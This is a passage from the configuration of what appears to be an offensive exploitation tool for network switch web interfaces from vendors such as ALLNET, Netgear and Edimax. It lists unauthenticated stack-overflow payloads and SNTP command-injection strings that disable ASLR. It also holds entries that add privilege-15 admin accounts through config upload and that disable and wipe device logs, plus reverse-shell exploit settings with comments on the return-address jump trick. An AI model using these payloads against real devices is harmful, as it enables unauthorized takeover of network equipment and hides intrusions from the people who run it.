							'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
							'content_check':'Copy: Illegal software format',
							'vulnerable': True,
							'safe': True
						},
						'login.cgi': {
							'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
							'authenticated': False,
							'response':'file',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
							'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
							'content_check':'2',
							'vulnerable': True,
							'safe': True
						},
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_time',
						'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_time',
						'inject_uri':'/cgi/set.cgi?cmd=sys_time',
						'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
						'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_time',
						'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=0&dlsType=0&_de=1":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_time',
						'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {	# Not vulnerable 
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						#'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1',	# Enable Logging CMD
						'log_settings_set_cmd':'&empty=1',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&target=0',				# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&target=1',			# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139',
						'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139',

						'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntp=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntp=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						#'vulnerable': True,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'ALLNET': {
				'vendor': 'ALLNET GmbH Computersysteme',
				'uri':'https://www.allnet.de/',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'clear',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=4353',
						'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_4364=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadbakcfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadruncfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httprestorecfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'dispatcher.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username=admin&password='+ self.random_string(184) + '&login=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'httpuploadfirmware.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadfirmware.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'httpupload_runstart_cfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload_runstart_cfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/tmp/startup-config',
							'content_check':'/tmp/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'version_upgrade.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")',
							'uri':'/cgi-bin/version_upgrade.cgi',
							'check_uri':'',
							'content':'Firm Upgrade',
							'content_check':'Firm Upgrade',
							'vulnerable': True,
							'safe': True
						},
						'factory_reset.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Reset device to factory default (PoC: Too dangerous to verify)',
							'uri':'/cgi-bin/factory_reset.cgi',
							'check_uri':'',
							'content':'Too dangerous to verify',
							'content_check':'dummy',
							'vulnerable': True,
							'safe': False
						},
						'sysinfo_config.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':False,
							'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")',
							'uri':'/cgi-bin/sysinfo_config.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'"/cgi-bin/change_mac_addr_set',
							'vulnerable': True,
							'safe': True
						},
						'change_mac_addr_set.cgi': {
							'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/change_mac_addr_set.cgi',
							'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},

				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'cmd=547',
						'inject_uri':'/cgi-bin/dispatcher.cgi',

						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',

						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},

					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,						# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',									# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,							# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'',									# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,							# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
						'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?
						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
						'workaround':False,	# My LAB workaround
						#'stack':False, # False = use Heap, and there are no ASLR
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Netgear': { 
				'vendor': 'NETGEAR Inc.',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak':True,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':False,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': False,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_settings',
						'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_settings',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear',
						'clean_logfile_query':'{"":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear',
						'clean_logmem_query':'{"":{}}',
						'vulnerable': False,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': True # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'md5',
						'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=aaa_userDel',
						'vulnerable': False,
						'safe': True
					}, 
					'sntp': {
						#
						# Most probably it is vulnerable
						#
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
						'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
						'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
						'delete_query':'{"":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {	# Not vulnerable 
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						'log_settings_set_cmd':'',					# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',						# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'',						# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?
														# /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
						'log_settings_set':0x00,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
						'log_ramClear':0x00,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
						'log_fileClear':0x00,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': False,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123',
						'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123',

						'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=139',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntpStatus=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntpStatus=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set()
						'sys_timeSntp_set':0x00,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
						'sys_timeSntpDel_set':0x00,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
						'sys_timeSettings_set':0x00,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR

						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x00,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x00,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap

						'workaround':False,	# My LAB workaround
						'vulnerable': False,
						'safe': True
					},

				},
			},

			'Edimax': { 
				'vendor': 'EDIMAX Technology Co., Ltd.',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak':False,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':False,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_global',
						'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_global',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadruncfg.cgi',
							'check_uri':'/tmp/http_saverun_cfg',
							'content':'/var/config/running-config',
							'content_check':'/var/config/running-config',
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httprestorecfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/startup-config',
							'content_check':'/mnt/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'/tmp/http_uploadfail',
							'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
							'content_check':'Copy: Illegal software format',
							'vulnerable': True,
							'safe': True
						},
						'login.cgi': {
							'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
							'authenticated': False,
							'response':'file',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
							'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
							'content_check':'1',
							'vulnerable': True,
							'safe': True
						},
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						#'encryption':'nopassword',
						#'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" nopassword\n\n------', # Yep, working too
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_time',
						'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_time',
						'inject_uri':'/cgi/set.cgi?cmd=sys_time',
						'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
						'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_time',
						'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_time',
						'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_ping_post_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
